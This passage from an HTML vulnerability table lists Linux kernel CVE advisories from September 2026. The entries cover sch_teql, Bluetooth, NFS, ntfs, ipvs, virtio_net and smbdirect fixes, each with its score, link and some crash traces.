&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_teql: restore skb-&amp;gt;dev on the slave failure path teql_master_xmit() sets skb-&amp;gt;dev = slave before calling the slave&#039;s ndo_start_xmit(), but never restores it when that transmit fails. The skb then walks on to the next slave still pointing at the previous one. If a later slave has no resolved neighbour, teql_resolve() hands the skb to neigh_event_send(), which queues it on that neighbour&#039;s arp_queue with the stale skb-&amp;gt;dev. skb-&amp;gt;dev holds no reference, so deleting the previous slave frees the net_device while the skb is still queued. Whatever runs next on that skb - arp_error_report() on timeout, or neigh_direct_output() -&amp;gt; dev_queue_xmit() once the neighbour resolves - causes a UAF like the one below: BUG: KASAN: slab-use-after-free in __icmp_send (net/ipv4/icmp.c:914 (discriminator 2)) Read of size 4 at addr ffff888106e100b0 by task flood_packet/527 CPU: 0 UID: 0 PID: 527 Comm: flood_packet Not tainted 7.2.0-rc6-g594d90519502 #1 PREEMPT(lazy) Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Call Trace: &amp;lt;IRQ&amp;gt; dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120) print_report (mm/kasan/report.c:378 mm/kasan/report.c:482) ? __pfx__raw_spin_lock_irqsave (./include/asm-generic/qrwlock.h:122 (discriminator 4)) ? __icmp_send (net/ipv4/icmp.c:914 (discriminator 2)) kasan_report (mm/kasan/report.c:595) ? __icmp_send (net/ipv4/icmp.c:914 (discriminator 2)) __icmp_send (net/ipv4/icmp.c:914 (discriminator 2)) [...] ipv4_link_failure (net/ipv4/route.c:1251 net/ipv4/route.c:1258) ? __pfx_ipv4_link_failure (./include/linux/skbuff.h:4327) ? _raw_write_lock (./include/linux/instrumented.h:55 ./include/linux/atomic/atomic-instrumented.h:1301 ./include/asm-generic/qrwlock.h:98 ./include/linux/rwlock_api_smp.h:230 kernel/locking/spinlock.c:304) ? __pfx__raw_write_lock (kernel/locking/spinlock.c:175) arp_error_report (./include/net/dst.h:438 net/ipv4/arp.c:296) neigh_invalidate (net/core/neighbour.c:1077) neigh_timer_handler (net/core/neighbour.c:1169) [...] Allocated by task 505: kasan_save_stack (mm/kasan/common.c:57) kasan_save_track (mm/kasan/common.c:78) __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415) __kvmalloc_node_noprof (./include/linux/kasan.h:263 mm/slub.c:5334 mm/slub.c:6905) alloc_netdev_mqs (net/core/dev.c:12055 (discriminator 2)) rtnl_create_link (net/core/rtnetlink.c:3721) rtnl_newlink (net/core/rtnetlink.c:3903 net/core/rtnetlink.c:4044 net/core/rtnetlink.c:4159) rtnetlink_rcv_msg (net/core/rtnetlink.c:7076) [...] Freed by task 536: kasan_save_stack (mm/kasan/common.c:57) kasan_save_track (mm/kasan/common.c:78) kasan_save_free_info (mm/kasan/generic.c:584) __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285) kfree (./include/linux/kasan.h:235 mm/slub.c:2677 mm/slub.c:6377 mm/slub.c:6692) device_release (drivers/base/core.c:2636) kobject_put (lib/kobject.c:689 lib/kobject.c:720 ./include/linux/kref.h:65 lib/kobject.c:737) netdev_run_todo (net/core/dev.c:11756) rtnl_dellink (net/core/rtnetlink.c:157 ./include/linux/rtnetlink.h:135 net/core/rtnetlink.c:3651) rtnetlink_rcv_msg (net/core/rtnetlink.c:7076) [...] Fix this by restoring skb-&amp;gt;dev to the master at the end of each slave&#039;s iteration.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90071&quot; target=&quot;_blank&quot;&gt;CVE-2026-90071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btnxpuart: Validate the FW dump header length nxp_process_fw_dump() pulls the ACL header off the frame and then reads seq_num and buf_len from a struct nxp_fw_dump_hdr placed at skb-&amp;gt;data, without checking that the ACL payload is long enough to contain it. h4_recv_buf() collects HCI_ACL_HDR_SIZE bytes of header followed by the number of payload bytes named in that header, so skb-&amp;gt;len is 4 + dlen with dlen supplied by the controller and possibly smaller than the 8 byte dump header, or zero. A short frame with connection handle 0xfff therefore reads both fields from beyond the received data. Beyond the read itself, buf_len is what terminates a dump: a value of zero makes the driver call hci_devcd_complete() and reset the controller, so a truncated frame can end a dump early. Use skb_pull_data() to validate and pull the FW dump header before accessing its fields. Warn and reject the chunk if the header is truncated.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90089&quot; target=&quot;_blank&quot;&gt;CVE-2026-90089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: access chan-&amp;gt;conn safely in get/setsockopt Since commit b66774b48dd9 (&quot;Bluetooth: L2CAP: Fix UAF in channel timeout by holding conn ref&quot;) l2cap_chan::conn has held reference and remains non-NULL also after the corresponding hci_conn is deleted. In this state accessing various fields eg. hci_conn::hdev is invalid, which leads to KASAN crash in l2cap_sock_setsockopt() access of conn-&amp;gt;hcon-&amp;gt;hdev. Check l2cap_chan::conn.hcon corresponds to an alive hci_conn before trying to use it in l2cap_sock.c. Hold l2cap_chan_lock() in getsockopt/setsockopt to ensure it stays alive, and to avoid data races in l2cap_chan fields.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90093&quot; target=&quot;_blank&quot;&gt;CVE-2026-90093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSv4/pnfs: key the data server cache on the NFS version nfs4_pnfs_ds_add() keys the per-net data server cache on the multipath address set alone, and struct nfs4_pnfs_ds records no version. That suffices for the files layout driver, which always connects with version 4, but flexfiles takes its version tuple from GETDEVICEINFO per device, and one address can legitimately serve both NFSv3 and NFSv4. Two deviceids on one address with different ds_versions[0].version therefore share a single nfs4_pnfs_ds, and whichever mirror connects first pins ds_clp to its own version. The other one is handed that client anyway, so it selects rpc_call_ops for a version the connection does not speak, and the mismatched sequence-slot handling dereferences NULL. Add the version to the cache key so the two cannot alias, giving each version its own nfs4_pnfs_ds and connection while both mirrors stay usable. Only the major version is compared, since that is what selects rpc_call_ops and rpc_ops; v4.0 and v4.1 keep sharing a client. The files layout driver passes the 4 it already hardcodes at connect time.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90102&quot; target=&quot;_blank&quot;&gt;CVE-2026-90102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSv4.2: fix LAYOUTSTATS send buffer exhaustion encode_layoutstats_maxsz budgets XDR_QUADLEN(PNFS_LAYOUTSTATS_MAXSIZE), i.e. 256 bytes, for the layoutupdate4 body written by the layout driver. The flexfiles record can exceed that. ff_layout_encode_ff_layoutupdate() emits, per data server, a netaddr4, an nfs_fh4, two ff_io_latency4, an nfstime4 and a bool. A data server whose filehandle is NFS_MAXFHSIZE bytes long already accounts for 132 of those bytes, and the two ff_io_latency4 at 64 bytes each, the nfstime4 and the bool add a further 144, so the body passes 256 bytes before the netaddr4 is encoded at all. encode_layoutstats() additionally writes the deviceid4 and the layoutupdate4 lou_type word, neither of which the macro accounts for. The filehandle and the address are both chosen by the server, through LAYOUTGET and GETDEVICEINFO, so it can drive the encoder past the end of the send buffer. xdr_reserve_space() returns NULL once that happens, and the two ff_layout_encode_io_latency() calls run with dss_info-&amp;gt;mirror-&amp;gt;lock held, so a NULL return there leaves the lock permanently held. Raise PNFS_LAYOUTSTATS_MAXSIZE to 384 so that the record fits inside the reservation.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90103&quot; target=&quot;_blank&quot;&gt;CVE-2026-90103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ip6mr: do not clone dst in ip6mr_cache_report() IPv6 input attaches a non-refcounted (NOREF) dst to skbs under RCU. When an ingress multicast packet misses MFC lookup, ip6mr_cache_unresolved() places the skb onto the unresolved queue, escaping the receive-side RCU grace period. If the underlying route is deleted and freed, and the MFC queue is later resolved with a wrong parent interface, ip6_mr_forward() invokes ip6mr_cache_report(..., MRT6MSG_WRONGMIF), which executes dst_clone(skb_dst(pkt)) on the freed dst entry, triggering a slab use-after-free. Report packets queued to mroute6_sk (a raw socket) and netlink notifications do not require an attached dst entry. Fix this by: 1. Removing dst_clone() in ip6mr_cache_report() and ensuring report skbs do not hold a dst. 2. Dropping skb_dst before queuing unresolved skbs in ip6mr_cache_unresolved(), matching the fact that multicast forwarding resolves outgoing routes anew via ip6_route_output().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90111&quot; target=&quot;_blank&quot;&gt;CVE-2026-90111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: fix off-by-one page overflow in ntfs_decompress() The per-token range check in ntfs_decompress() uses if (cb &amp;gt;= cb_sb_end || dp_addr &amp;gt; dp_sb_end) break; so dp_addr == dp_sb_end falls through to the symbol copy `*dp_addr++ = *cb++`, writing one byte past the destination page. Since NTFS_SB_SIZE == PAGE_SIZE the destination is a single page, so the byte lands in the adjacent page, and *dest_ofs is left one past the sub-block end (the later `*dest_ofs &amp;amp;= ~PAGE_MASK` then yields 1, not 0, so the page is never finalized and later sub-blocks keep writing further past it). A corrupted compressed $DATA attribute thus produces a bounded run of out-of-bounds writes when the file is read. Break as soon as dp_addr reaches dp_sb_end; a full sub-block still completes, as its final copy advances dp_addr to exactly dp_sb_end.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90118&quot; target=&quot;_blank&quot;&gt;CVE-2026-90118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: serialize resident iomap reads with mrec_lock ntfs_read_iomap_begin_resident() walks the MFT record through ntfs_attr_lookup() -&amp;gt; ntfs_attr_find() without taking ni-&amp;gt;mrec_lock, while ntfs_attr_record_resize(), ntfs_make_room_for_attr() and ntfs_resident_attr_record_add() memmove() the same base_ni-&amp;gt;mrec buffer under that lock. map_mft_record() only takes a reference and does not serialize, so the reader can observe torn attribute length and offset fields while a writer is relocating the records. KCSAN reports the race between the mmap read fault path and both link() and unlink(): BUG: KCSAN: data-race in ntfs_attr_find / ntfs_attr_record_resize write to 0xffff888100af1018 of 4 bytes by task 96 on cpu 1: ntfs_attr_record_resize+0xd2/0x130 ntfs_attr_record_rm+0xad/0x530 ntfs_delete+0x224/0x640 ntfs_unlink+0x14d/0x280 vfs_unlink+0x157/0x520 read to 0xffff888100af1018 of 4 bytes by task 95 on cpu 0: ntfs_attr_find+0x104/0x5b0 ntfs_attr_lookup+0x39c/0x10c0 ntfs_read_iomap_begin_resident+0xc6/0x230 ntfs_read_iomap_begin+0x5d/0xa0 iomap_iter+0x2e2/0x6e0 iomap_read_folio+0x147/0x2a0 ntfs_read_folio+0x108/0x170 filemap_read_folio+0x35/0x100 filemap_fault+0x993/0x1000 value changed: 0x00000250 -&amp;gt; 0x000001f0 The address is mrec + 0x18, i.e. mft_record.bytes_in_use, and the change is the 96 bytes of one $FILE_NAME attribute being removed. Keep base_ni-&amp;gt;mrec_lock from the resident read iomap lookup through iomap_end(). This protects both the attribute walk and the subsequent copy from iomap-&amp;gt;inline_data, which points into the MFT record. The non-resident path is left alone: ntfs_lookup() already holds the directory inode&#039;s mrec_lock when it reads an index folio through read_mapping_folio(), and taking the lock in the shared wrapper deadlocks there with recursive locking on mrec_lock. The comment above the read_mapping_folio() call in fs/ntfs/dir.c notes the same hazard. The seek path uses the same lookup helper but does not dereference iomap-&amp;gt;inline_data. Release the lock before returning from that path, whereas the regular read path records base_ni in iomap-&amp;gt;private and releases the lock from its iomap_end() callback. Tested with a reproducer that faults in a 16-byte resident file while another thread runs link()/unlink() on it. Before: 40 KCSAN reports in about one second. After: no reports in 180 seconds over 206,090 read iterations and 423,540 link/unlink cycles. A PROVE_LOCKING build shows no lockdep splat with the same reproducer running for 60 seconds.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90131&quot; target=&quot;_blank&quot;&gt;CVE-2026-90131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: reject unprivileged writes to reserved $LX* xattrs Reject setxattr of the reserved $LXUID, $LXGID, $LXMOD and $LXDEV names from userspace unless the caller has CAP_SYS_ADMIN.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90132&quot; target=&quot;_blank&quot;&gt;CVE-2026-90132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: Fix index_root heap OOB write in ntfs_ir_to_ib() ntfs_ir_to_ib copies all entries from index_root into a freshly allocated index_block_size-byte buffer without verifying that the entries fit in the available space. The entries in index_root may be larger than the usable entry space in the index block. This can cause OOB writes past the end of the allocation. The validator ntfs_index_root_inconsistent() checks that entries are self-consistent within the IR value, but never cross-checks them against index_block_size. There is no bounds check in ntfs_ir_to_ib() before the memcpy. Fixing this at the sink in ntfs_ir_to_ib() since ntfs_index_root_inconsistent() validates the logical consistency of index_root as a structure and a root with large entries is a structurally valid root. The bug is a size conflict of ntfs_ir_to_ib(). Also, the validator is called once per inode load in ntfs_read_locked_inode() while ntfs_ir_to_ib() is only called during a reparent, a check there adds no overhead to the common path. Moreover, even a future call path that bypasses the validator would still be protected. With NULL as first parameter of ntfs_error(), the volume error flag is never set by this call, so the device name will be absent from the error message. In any case, that the caller, ntfs_ir_reparent(), prints an error message that includes the device name on NULL returns. I think this is the best solution available without adding &#039;struct super_block *sb&#039; as a parameter to ntfs_ir_to_ib(). This heap out-of-bounds write is triggered by a crafted filesystem image, which is not in the kernel threat model, anyway, fixing memory errors would be nice to keep things secure.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90133&quot; target=&quot;_blank&quot;&gt;CVE-2026-90133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: fix password encoding bounds check The password PSWD_ENCODINGS parser reads password_obj[elem + pos_values] while copying the supported password encodings from the ACPI package. The outer loop only guarantees that elem is within password_obj_count. The encoding count is bounded by MAX_ENCODINGS_SIZE, but that does not guarantee that the ACPI package contains enough entries for all elem + pos_values accesses. A malformed package can therefore declare a non-zero encoding count without providing enough string objects, causing the parser to read past the ACPI package array and pass an out-of-bounds string pointer and length to hp_convert_hexstr_to_str(). Add the same computed-index bounds check used by the other offset-based package parsing loops before reading password_obj[elem + pos_values].&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90137&quot; target=&quot;_blank&quot;&gt;CVE-2026-90137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipvs: fix integer overflow in ftp helper port/address parsing ip_vs_ftp_get_addrport() accumulates decimal digits into a __u16 (hport) and into unsigned char (p[]) without checking for overflow. A crafted FTP PASV/EPSV response with an over-long port or address octet wraps the value, so the helper configures the data connection with a truncated port/address. The netfilter conntrack FTP helper had the same defect, fixed in commit 2b413fc689ba (&quot;netfilter: nf_conntrack_ftp: avoid u16 overflows&quot;). Apply the equivalent fix here: widen the port accumulator to u32 and reject values above 65535, and reject address octets above 255.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90141&quot; target=&quot;_blank&quot;&gt;CVE-2026-90141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: virtio_net: Fix resize of the RX ring When a AF_XDP socket is attached, the virtnet_rx_resize should resize the rq-&amp;gt;xsk_buffs XSK buffer array. Otherwise, when the size grows, the virtnet_rx_resume() causes a write past the end of the array. This is easily reproducable with ethtool -G ens3 rx 32 ./xdpsock -i eth0 -q 0 -r -z &amp;amp; ethtool -G eth0 rx 256&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90142&quot; target=&quot;_blank&quot;&gt;CVE-2026-90142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: kcm: Hold RCU read lock while running BPF parser kcm_parse_func_strparser() calls bpf_prog_run_pin_on_cpu() which prevents CPU migration, but does not establish an RCU read-side critical section. Consequently, BPF map operations can trigger WARN_ON_ONCE(!bpf_rcu_lock_held()) when called from the KCM strparser program. Hold the RCU read lock while running the program.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90143&quot; target=&quot;_blank&quot;&gt;CVE-2026-90143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hinic3: Fix skb linearization mismatch and drop skb when skb_checksum_help() failed Previously, hinic3_send_one_skb() cached the skb fragment count before calling hinic3_tx_offload(). If hinic3_tx_csum() falls back to skb_checksum_help() for unsupported tunnel packets, the skb may be linearized. Continuing to build the TX descriptor with the stale fragment count leads to a descriptor mismatch, which can trigger out-of-bounds DMA reads or IOMMU faults. Furthermore, the old code ignored the return value of skb_checksum_help(), transmitting corrupted packets with incomplete checksums upon failure. Fix this by: 1. Moving the hinic3_tx_offload() call before calculating &#039;num_sge&#039; to ensure the correct fragment count is used if the SKB is linearized. 2. Propagating skb_checksum_help() errors and returning HINIC3_TX_OFFLOAD_INVALID to properly drop the skb.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90145&quot; target=&quot;_blank&quot;&gt;CVE-2026-90145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, xdp: move offload check into dev_xdp_install() bpf_xdp_link_update() calls dev_xdp_install() directly and skips dev_xdp_attach(), so the checks in dev_xdp_attach() do not run. A user can make an XDP link with a normal program and then swap in an offloaded or device-bound program with BPF_LINK_UPDATE, which puts it on the software path. dev_xdp_install() is the one place all three paths go through: &quot;ip link set xdp&quot; and BPF_LINK_CREATE reach it via dev_xdp_attach(), and BPF_LINK_UPDATE calls it directly. So move the program checks (offloaded, bound to another device, device-bound in generic mode, native vs generic, DEVMAP and CPUMAP) there, and keep only the netlink-flag check (XDP_FLAGS_UPDATE_IF_NOEXIST) in dev_xdp_attach().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90146&quot; target=&quot;_blank&quot;&gt;CVE-2026-90146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSv4/flexfiles: fix NULL dereference for NFSv4.0 data servers flexfiles accepts NFSv4.0 data servers, but two NFSv4 code paths assume the data server client has a session. Unlike NFSv4.1+, an NFSv4.0 client has no session (clp-&amp;gt;cl_session is NULL; it uses clp-&amp;gt;cl_slot_tbl), so I/O to a v4.0 flexfiles DS oopses: - nfs4_init_ds_session() dereferences clp-&amp;gt;cl_session-&amp;gt;session_state while seeding the DS lease. It also only seeds cl_lease_time when NFS4_SESSION_INITING is set; without a session that never happens, so cl_lease_time stays 0 and nfs4_renew_state() busy-loops, requeuing every 5 seconds. Seed the lease whenever there is no session and return before touching session state. - ff_layout_async_handle_error_v4() dereferences clp-&amp;gt;cl_session-&amp;gt;fc_slot_table on every DS I/O error. Fall back to the v4.0 transport slot table (clp-&amp;gt;cl_slot_tbl) when there is no session.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90149&quot; target=&quot;_blank&quot;&gt;CVE-2026-90149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: erofs: fix interlaced ztailpacking pclusters On-disk sizes of interlaced pclusters should be block-aligned, and ztailpacking interlaced pclusters should be invalid at all. Currently, mkfs.erofs won&#039;t generate any interlaced pcluster with ztailpacking enabled, so this doesn&#039;t affect any existing valid filesystems. However, crafted images can contain invalid interlaced ztailpacking pclusters, resulting in an out-of-bounds read from a kmap&#039;d page and copying irrelevant kernel memory into userspace-visible page cache.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90161&quot; target=&quot;_blank&quot;&gt;CVE-2026-90161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: destroy QP before mem pools on accept failure On the rdma_accept_failed error path of smbdirect_accept_connect_request(), the receive io posted just above is owned by the QP (recv_io is set to NULL after a successful post). The error path fell through to smbdirect_connection_destroy_mem_pools() before smbdirect_connection_destroy_qp(), so the mem pools and the recv_io slab cache were destroyed while that recv_io was still outstanding on the QP. The drain in smbdirect_connection_destroy_qp() (ib_drain_qp()) is what runs the recv completion that returns the recv_io to the free list, so destroying the pools first leaves the object outstanding at kmem_cache_destroy() time (&quot;Slab cache still has objects&quot;) and later frees it into an already-destroyed mempool (mempool_free_bulk NULL-pointer dereference). Give rdma_accept_failed its own teardown that drains the QP first, then destroys the mem pools, and returns. The remaining labels (post_recv_io_failed onward) run before the recv_io was ever posted, so they keep the mem-pools-then-qp order. The outstanding recv_io at kmem_cache_destroy() time: [ 3487.344647] ============================================================================= [ 3487.349942] BUG smbdirect_recv_io_cache_ffff88811ba99000 (Not tainted): Objects remaining on __kmem_cache_shutdown() [ 3487.356078] ----------------------------------------------------------------------------- [ 3487.356078] [ 3487.356738] Object 0xffff8881511c3440 @offset=13376 [ 3487.358464] Allocated in mempool_alloc_noprof+0x18c/0x290 age=1194 cpu=6 pid=22254 [ 3487.361197] mempool_alloc_noprof+0x18c/0x290 [ 3487.361542] smbdirect_connection_create_mem_pools+0x405/0x780 [ 3487.361972] smbdirect_accept_connect_request+0x5a8/0x1b80 [ 3487.362359] smbdirect_listen_rdma_event_handler+0x1579/0x1b90 [ 3487.362779] cma_cm_event_handler+0x9c/0x230 [ 3487.363096] cma_ib_req_handler+0x2682/0x45d0 [ 3487.363414] cm_process_work+0x56/0x3d0 [ 3487.363676] cm_work_handler+0x8a0e/0xd000 [ 3487.367496] process_scheduled_works+0xa07/0x13a0 [ 3487.367859] worker_thread+0x7c9/0xc80 [ 3487.368148] kthread+0x341/0x430 [ 3487.368407] ret_from_fork+0x3a8/0x7a0 [ 3487.368704] ret_from_fork_asm+0x1a/0x30 [ 3487.370307] Slab 0xffffea0005447000 objects=19 used=1 fp=0xffff8881511c0040 flags=0x100000000000240(workingset|head|node=0|zone=2) [ 3487.372840] ------------[ cut here ]------------ [ 3487.373195] WARNING: mm/slub.c:1244 at __slab_err+0x1a/0x30, CPU#6: kworker/6:84/22254 [ 3487.373759] Modules linked in: [ 3487.373993] CPU: 6 UID: 0 PID: 22254 Comm: kworker/6:84 Tainted: G B 7.1.0-next-20260623+ #88 PREEMPT(lazy) [ 3487.374778] Tainted: [B]=BAD_PAGE [ 3487.377830] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014 [ 3487.378515] Workqueue: ib_cm cm_work_handler [ 3487.378820] RIP: 0010:__slab_err+0x1a/0x30 [ 3487.379129] Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 e8 36 00 00 00 bf 05 00 00 00 be 01 00 00 00 e8 f7 75 45 00 90 &amp;lt;0f&amp;gt; 0b 90 c3 cc cc cc cc cc 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 [ 3487.383255] RSP: 0018:ffff888220fc7050 EFLAGS: 00010093 [ 3487.383643] RAX: ffffffff8168e60a RBX: ffff88810955e640 RCX: ffff88821c381d80 [ 3487.384158] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffffffff870fa080 [ 3487.384662] RBP: ffff888220fc7068 R08: ffffffff870fa087 R09: 1ffffffff0e1f410 [ 3487.385192] R10: dffffc0000000000 R11: fffffbfff0e1f411 R12: ffffea0005447210 [ 3487.385674] R13: ffffea0005447000 R14: ffff888220fc7068 R15: ffff88812a8ab300 [ 3487.388932] FS: 0000000000000000(0000) GS:ffff888427e76000(0000) knlGS:0000000000000000 [ 3487.389529] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 3487.389934] CR2: 00007ffcf2d84fd8 CR3: 0000000111d64006 CR4: 0000000000f72ef0 [ 3487.390440] PKRU: 55555554 [ 3487.390641] Call Trace: [ 3487.390826] &amp;lt;TASK&amp;gt; [ 3 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90172&quot; target=&quot;_blank&quot;&gt;CVE-2026-90172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
